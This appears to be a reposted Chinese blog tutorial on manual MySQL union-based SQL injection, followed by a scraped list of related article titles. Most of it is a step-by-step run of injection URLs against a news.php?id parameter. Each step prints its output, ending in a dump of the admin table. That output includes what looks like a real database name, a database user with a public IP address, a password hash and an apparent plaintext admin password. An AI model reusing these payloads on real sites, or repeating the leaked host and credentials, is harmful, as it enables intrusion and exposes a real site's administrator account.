Mysql数据库结构

数据库A

　　表名

　　　　列名

　　　　　　数据

数据库B

　　表名

　　　　列名

　　　　　　数据

Mysql5.0以上自带数据库：information_schema

information_schema：存储mysql下所有信息的数据库（数据库名，表名，列名）

参数及解释

database()：数据库名

user()：数据库用户

version()：数据库版本

@@version_compile_os：操作系统

符号“.”代表下一级的意思

information_schema.tables：

information_schema数据库下的tables表名，含义：存储所有数据库下的表名信息的表。

information_schema.columns：

information_schema数据库下的columns表名，含义：存储所有数据库下的列名信息的表。

Table_schema：数据库名

Table_name：表名

Column_name：列名

手工实例，aabb代替网站

判断存在注入：
http://www.aabb.com/news.php?id=6811 and 1=1正常
http://www.aabb.com/news.php?id=6811 and 1=2异常判断字段：
http://www.aabb.com/news.php?id=6811 order by 42正常
http://www.aabb.com/news.php?id=6811 order by 42异常联合查询：
http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42报错5,6,15,20,24查询相关内容：可以在显位的位置插入的预设函数；
User() 查看用户
database()  --查看数据库名称
Version() --查看数据库版本
@@datadir --数据库路径
@@version_compile_os--操作系统版本
system_user() --系统用户名
current_user()--当前用户名
session_user()--连接数据库的用户名http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,database(),user(),7,8,9,10,11,12,13,14,version(),16,17,18,19,@@version_compile_os,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42数据库：bdm113183329_db    用户：bdm113183329@123.56.134.176    版本：5.1.48-log     操作系统：unknown-linux-gnu 查询所有数据库：http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,
group_concat(schema_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.schemata只有两个数据库 information_schema, bdm113183329_db查寻bdm113183329_db下所有的数据表：bdm113183329_db ===》 0x62646D3131333138333332395F6462http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,
group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.tables where table_schema=0x62646D3131333138333332395F6462admin,admin_copy,ads,area,article,article_copy,books,catalog,city,contents,hezuos,paimai,paimaihui,province,user_info,user_info_copy,works,xhad_ad,xhad_admin,xhad_biz,xhad_config,xhad_day,xhad_hour,xhad_ip,xhad_month,xhad_type,xhad_year,ysj_dongtai,ysj_wzpl,zhanlan查询admin表下的列：http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,
group_concat(column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.columns where table_name=0x61646D696Ea_id,a_user,a_pass,a_flag查询每列数据：http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,group_concat(a_user,0x5c,a_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from adminadmin\86aba080f25bb66edd1ab981e4ecbe68admin\ysjaabb

转载于:https://www.cnblogs.com/cui0x01/p/8620524.html

Sql注入基础_mysql注入相关推荐

  1. mysql注入大全_mysql注入大全及防御

    0.明白存在的位置:get型 post型 cookie型 http头注入 1.先测试注入点,注册框.搜索框.地址栏啥的,判断是字符型,搜索型还是数字型 字符型 1' and '1'='1 成功, 1' ...

  2. mysql注入总结_mysql注入总结 - osc_wpg0dgym的个人空间 - OSCHINA - 中文开源技术交流社区...

    前言:看玩mysql注入 做一篇总结然后去打GTA 5 正文: mysql注入与access注入不一样.因为数据库的特性不一样 access注入的暴力注入 mysql是有逻辑性的注入 首先得判断是什么 ...

  3. mysql的注入原理_mysql 注入原理以及防范

    一.注入原理 通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令 二.实例 1.建表sql CREATE TABLE `web_safe` ( ...

  4. mysql create注入语句_mysql注入总结

    作者:L.N. 时间:2012-07-23 博客:lanu.sinaapp.com 目录: 0x00 mysql一般注入(select) 0x01 mysql一般注入(insert.update) 0 ...

  5. SQL注入 基础概述及相关知识

    SQL注入 基础概述及相关知识 SQL注入概述 SQL注入攻击简介 SQL注入攻击原理 SQL注入攻击来源 SQL注入攻击主要特点 SQL注入攻击危害 SQL注入攻击 SQL注入攻击基础概述 SQL注 ...

  6. SQL注入基础原理与案例（详细总结）

    SQL注入基础原理与案例 一.前言 二.漏洞概述及危害 1.漏洞概述 2.漏洞危害 3.漏洞防范 三.SQL注入 1.SQL注入方式 (1)信息收集 (2)数据注入 (3)高权限注入 2.判断是否存在 ...

  7. 学一点SQL注入基础

    文章目录 学一点SQL注入基础 思维导图 注入原理 MySQL三种注释 MySQL三种注入方式 联合查询注入 确定字段数 常规步骤 sqlmap的使用 跨库注入 MySQL注入获取最高权限-文件操作 ...

  8. SQL注入基础--判断闭合形式

    这里写自定义目录标题 ** **SQL注入基础--判断闭合形式** ## 1.整形闭合 2.单引号闭合 3.双引号闭合 总结 ** SQL注入基础–判断闭合形式 SQL语句的闭合形式大概如下几种: S ...

  9. 渗透测试之SQL注入基础

    渗透测试之SQL注入基础 SQL注入类型 按照数据类型类型来分类 按照执行效果来分类(页面回显效果) 按照数据提交的方式来分类 判断注入类型的方法 MySQL注入基础 联合查询注入 布尔注入 时间盲注 ...

  10. sql注入基础原理(SQL injection)

    sql注入基础原理 文章目录 sql注入基础原理 Sql注入简介 案例表 产生sql注入的写法 python 相关 java 相关 php 相关 sql注入相关技术 B: 基于布尔的盲注特征 案例 总 ...

最新文章

  1. Linux 操作系统原理 — 网络 I/O 虚拟化
  2. CF1370F2-The Hidden Pair(Hard Version)【交互题,二分】
  3. 如何创建从Visual Studio到Wolfram Mathematica的简单调用
  4. python-基于UDP通信的套接字，socketserver模块的使用
  5. 看门狗计算机丢失xinput13.dll,windows10系统打开程序提示丢失xinput13dll怎么办
  6. [OpenDrive] OpenDrive学习笔记
  7. 【UML】聊聊系统建模
  8. Stata: 图示交互效应\调节效应
  9. 汇新云为何给出严格的入驻审核标准？
  10. 动作电位的产生和动作电位的长距离高速传导
  11. JAVA领域10位大神
  12. CSV是什么文件格式【转】
  13. App首次进入引导界面
  14. vue project vlog
  15. jQuery获取或设置元素的属性值prop/attr
  16. java timer schedule_Java Timer的使用,timer.schedule定时执行
  17. promise和async
  18. 廖雪峰Python教程 实战day05
  19. centos7防火墙端口设置
  20. 笑到流泪！北大女博士脱口秀《娶妻当娶女博士》，看完五体投地

热门文章

  1. 奢侈的休闲度假时光——带着小样儿去三亚（三）
  2. 创意十足！25个酷炫的服饰行业网站设计
  3. Guava - Collections - Immutable collections
  4. .NET LINQ 限定符操作
  5. MVC3的新特性介绍
  6. 【计算机的物理实现】电子科技的根源 - PN结
  7. Eclipse或者MyEclipse—在Eclipse或MyEclipse中的操作（2）
  8. 经典排序算法（八）--选择排序Selection Sort
  9. RabbitMQ小笔记
  10. FISCO BCOS（一）———搭建单群组FISCO BCOS联盟链